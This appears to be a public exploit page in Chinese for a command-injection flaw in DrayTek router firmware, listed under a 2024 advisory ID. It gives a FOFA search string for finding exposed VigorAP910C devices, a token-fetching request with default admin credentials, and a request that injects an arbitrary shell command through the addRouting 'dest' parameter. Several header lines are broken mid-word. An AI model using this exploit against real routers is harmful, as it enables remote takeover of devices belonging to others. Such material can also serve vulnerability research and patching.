draytek路由器addrouting命令执行漏洞

2024-04-18 draytek路由器 PoC Public

Description

draytek路由器addrouting命令执行漏洞,攻击者可利用该漏洞执行任意命令，控制服务器。

PoC

## draytek路由器addrouting命令执行漏洞



## fofa

```

header="realm="VigorAP910C"

```





## poc

```

获取token

GET /opmode.asp HTTP/1.1

Host:

Authorization: Basic YWRtaW46YWRtaW4=

Referer:{{Hostname}}  

ser-Agent: Mozilla/5.0 - |



执行命令

GET /goform/addRouting?AuthStr={{token}}&dest=||+echo+$(+{{rce}})%3b%23a HTTP/1.1

Host:

Authorization: Basic YWRtaW46YWRtaW4=  R

eferer:{{Hostname}}

User-Agent: Mozilla/5.0

```

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://www.ddpoc.com/DVB-2024-6822.html

Related Vulnerabilities